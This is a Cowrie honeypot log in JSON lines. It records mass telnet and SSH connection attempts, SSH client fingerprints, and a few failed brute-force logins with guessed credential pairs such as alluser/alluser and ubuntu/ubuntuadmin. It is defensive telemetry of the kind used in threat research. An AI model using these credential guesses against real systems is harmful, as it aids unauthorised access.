{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52056,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d74f70f077","protocol":"telnet","message":"New connection: 159.203.13.64:52056 (10.17.0.5:23) [session: c9d74f70f077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:55.827504Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"624a8c8ff01f","protocol":"telnet","message":"New connection: 159.203.13.64:52070 (10.17.0.5:23) [session: 624a8c8ff01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:57.011870Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37a6cf96ea4","protocol":"telnet","message":"New connection: 159.203.13.64:52074 (10.17.0.5:23) [session: a37a6cf96ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:57.818487Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52084,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b40cdcfc06a","protocol":"telnet","message":"New connection: 159.203.13.64:52084 (10.17.0.5:23) [session: 4b40cdcfc06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:57.970568Z"}
{"eventid":"cowrie.session.closed","duration":46.89140963554382,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:00.768047Z","src_ip":"159.203.13.64","session":"88d91ec2d1e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39558,"dst_ip":"10.17.0.5","dst_port":23,"session":"eea25c715068","protocol":"telnet","message":"New connection: 159.203.13.64:39558 (10.17.0.5:23) [session: eea25c715068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:00.824465Z"}
{"eventid":"cowrie.session.closed","duration":38.902804374694824,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:00.959772Z","src_ip":"159.203.13.64","session":"0a7172155fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36822,"dst_ip":"159.203.135.109","dst_port":22,"session":"a23f98fcef9d","protocol":"ssh","message":"New connection: 159.203.92.129:36822 (159.203.135.109:22) [session: a23f98fcef9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:01.618701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:01.625359Z","src_ip":"159.203.92.129","session":"a23f98fcef9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:01.630383Z","src_ip":"159.203.92.129","session":"a23f98fcef9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluser","password":"alluser","message":"login attempt [alluser/alluser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:01.641422Z","src_ip":"159.203.92.129","session":"a23f98fcef9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39566,"dst_ip":"10.17.0.5","dst_port":23,"session":"bca4b129d22f","protocol":"telnet","message":"New connection: 159.203.13.64:39566 (10.17.0.5:23) [session: bca4b129d22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:02.154686Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:02.669418Z","src_ip":"159.203.92.129","session":"a23f98fcef9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.98917746543884,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:06.281549Z","src_ip":"159.203.13.64","session":"cad1507ed0e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83243799209595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:08.681326Z","src_ip":"159.203.13.64","session":"27f2dab05d79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.794837474823,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:13.086529Z","src_ip":"159.203.13.64","session":"154fff90d990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47382,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d5f943db3a","protocol":"telnet","message":"New connection: 159.203.13.64:47382 (10.17.0.5:23) [session: 10d5f943db3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:13.980069Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47392,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae228ddab30","protocol":"telnet","message":"New connection: 159.203.13.64:47392 (10.17.0.5:23) [session: aae228ddab30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:19.451647Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50728,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf80a53dc38","protocol":"telnet","message":"New connection: 159.203.13.64:50728 (10.17.0.5:23) [session: 6cf80a53dc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:20.730270Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":40700,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a37db1f467c","protocol":"ssh","message":"New connection: 186.13.24.118:40700 (159.203.135.109:22) [session: 7a37db1f467c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:22.317540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:22.323172Z","src_ip":"186.13.24.118","session":"7a37db1f467c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:22.478722Z","src_ip":"186.13.24.118","session":"7a37db1f467c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d0fa28296b","protocol":"telnet","message":"New connection: 159.203.13.64:50742 (10.17.0.5:23) [session: 38d0fa28296b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:22.653596Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntuadmin","message":"login attempt [ubuntu/ubuntuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:23.129744Z","src_ip":"186.13.24.118","session":"7a37db1f467c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"4562e6e91c82","protocol":"telnet","message":"New connection: 159.203.13.64:50744 (10.17.0.5:23) [session: 4562e6e91c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:23.170398Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:24.305960Z","src_ip":"186.13.24.118","session":"7a37db1f467c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.12108135223389,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:27.011522Z","src_ip":"159.203.13.64","session":"839060200a62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39087986946106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:28.209238Z","src_ip":"159.203.13.64","session":"a37a6cf96ea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88693976402283,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:32.898669Z","src_ip":"159.203.13.64","session":"624a8c8ff01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.526028633117676,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:33.339491Z","src_ip":"159.203.13.64","session":"34bd7bc22442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35422,"dst_ip":"10.17.0.5","dst_port":23,"session":"495616caf462","protocol":"telnet","message":"New connection: 159.203.13.64:35422 (10.17.0.5:23) [session: 495616caf462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:33.528828Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35432,"dst_ip":"10.17.0.5","dst_port":23,"session":"3030dded2c4f","protocol":"telnet","message":"New connection: 159.203.13.64:35432 (10.17.0.5:23) [session: 3030dded2c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:37.071826Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"97281c7f78c2","protocol":"telnet","message":"New connection: 159.203.13.64:35446 (10.17.0.5:23) [session: 97281c7f78c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:38.381865Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4e0e557998","protocol":"telnet","message":"New connection: 159.203.13.64:35450 (10.17.0.5:23) [session: ac4e0e557998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:38.473819Z"}
{"eventid":"cowrie.session.closed","duration":41.03728532791138,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:39.007738Z","src_ip":"159.203.13.64","session":"4b40cdcfc06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9730b8d5146","protocol":"telnet","message":"New connection: 159.203.13.64:35456 (10.17.0.5:23) [session: f9730b8d5146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:39.388138Z"}
{"eventid":"cowrie.session.closed","duration":2.6767313480377197,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:39.748405Z","src_ip":"159.203.13.64","session":"3030dded2c4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.949666023254395,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:39.774037Z","src_ip":"159.203.13.64","session":"eea25c715068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f05f79b4d0e","protocol":"telnet","message":"New connection: 162.253.42.116:60882 (10.17.0.5:23) [session: 8f05f79b4d0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:39.791996Z"}
{"eventid":"cowrie.session.closed","duration":44.73431849479675,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:40.561665Z","src_ip":"159.203.13.64","session":"c9d74f70f077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42eae2f6955","protocol":"telnet","message":"New connection: 159.203.13.64:35466 (10.17.0.5:23) [session: f42eae2f6955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:40.663702Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55918,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb5d77bc8a99","protocol":"telnet","message":"New connection: 159.203.13.64:55918 (10.17.0.5:23) [session: fb5d77bc8a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:40.844624Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55932,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f03d2e570bf","protocol":"telnet","message":"New connection: 159.203.13.64:55932 (10.17.0.5:23) [session: 9f03d2e570bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:42.983973Z"}
{"eventid":"cowrie.session.closed","duration":3.769678831100464,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:43.157702Z","src_ip":"159.203.13.64","session":"f9730b8d5146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46530,"dst_ip":"159.203.135.109","dst_port":22,"session":"760d180c3dcb","protocol":"ssh","message":"New connection: 159.203.92.129:46530 (159.203.135.109:22) [session: 760d180c3dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:44.207563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:44.211578Z","src_ip":"159.203.92.129","session":"760d180c3dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:44.215524Z","src_ip":"159.203.92.129","session":"760d180c3dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluser","password":"alluser123","message":"login attempt [alluser/alluser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:44.224961Z","src_ip":"159.203.92.129","session":"760d180c3dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:45.230786Z","src_ip":"159.203.92.129","session":"760d180c3dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"044a204426fe","protocol":"telnet","message":"New connection: 159.203.13.64:55934 (10.17.0.5:23) [session: 044a204426fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:45.920853Z"}
{"eventid":"cowrie.session.closed","duration":44.66094350814819,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:46.815496Z","src_ip":"159.203.13.64","session":"bca4b129d22f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55948,"dst_ip":"10.17.0.5","dst_port":23,"session":"95ad4e851c7e","protocol":"telnet","message":"New connection: 159.203.13.64:55948 (10.17.0.5:23) [session: 95ad4e851c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:47.250788Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82dee24325e","protocol":"telnet","message":"New connection: 159.203.13.64:55960 (10.17.0.5:23) [session: d82dee24325e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:50.557167Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c63905b6488","protocol":"telnet","message":"New connection: 159.203.13.64:35254 (10.17.0.5:23) [session: 1c63905b6488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:51.172927Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35262,"dst_ip":"10.17.0.5","dst_port":23,"session":"396478b44333","protocol":"telnet","message":"New connection: 159.203.13.64:35262 (10.17.0.5:23) [session: 396478b44333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:51.262586Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35266,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1e5e4adf350","protocol":"telnet","message":"New connection: 159.203.13.64:35266 (10.17.0.5:23) [session: a1e5e4adf350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:51.320482Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35272,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc94914a952","protocol":"telnet","message":"New connection: 159.203.13.64:35272 (10.17.0.5:23) [session: 6bc94914a952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:53.719688Z"}
{"eventid":"cowrie.session.closed","duration":40.07670593261719,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:54.056611Z","src_ip":"159.203.13.64","session":"10d5f943db3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35280,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c6dfb5462c","protocol":"telnet","message":"New connection: 159.203.13.64:35280 (10.17.0.5:23) [session: 69c6dfb5462c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:56.119870Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:59:58.292369Z","src_ip":"45.78.194.242","session":"468609fe8829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.839070320129395,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:01.492573Z","src_ip":"159.203.13.64","session":"38d0fa28296b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.94877362251282,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:03.678921Z","src_ip":"159.203.13.64","session":"6cf80a53dc38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89664363861084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:12.688519Z","src_ip":"162.253.42.116","session":"8f05f79b4d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.86986684799194,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:00:13.040129Z","src_ip":"159.203.13.64","session":"4562e6e91c82","protocol":"telnet"}
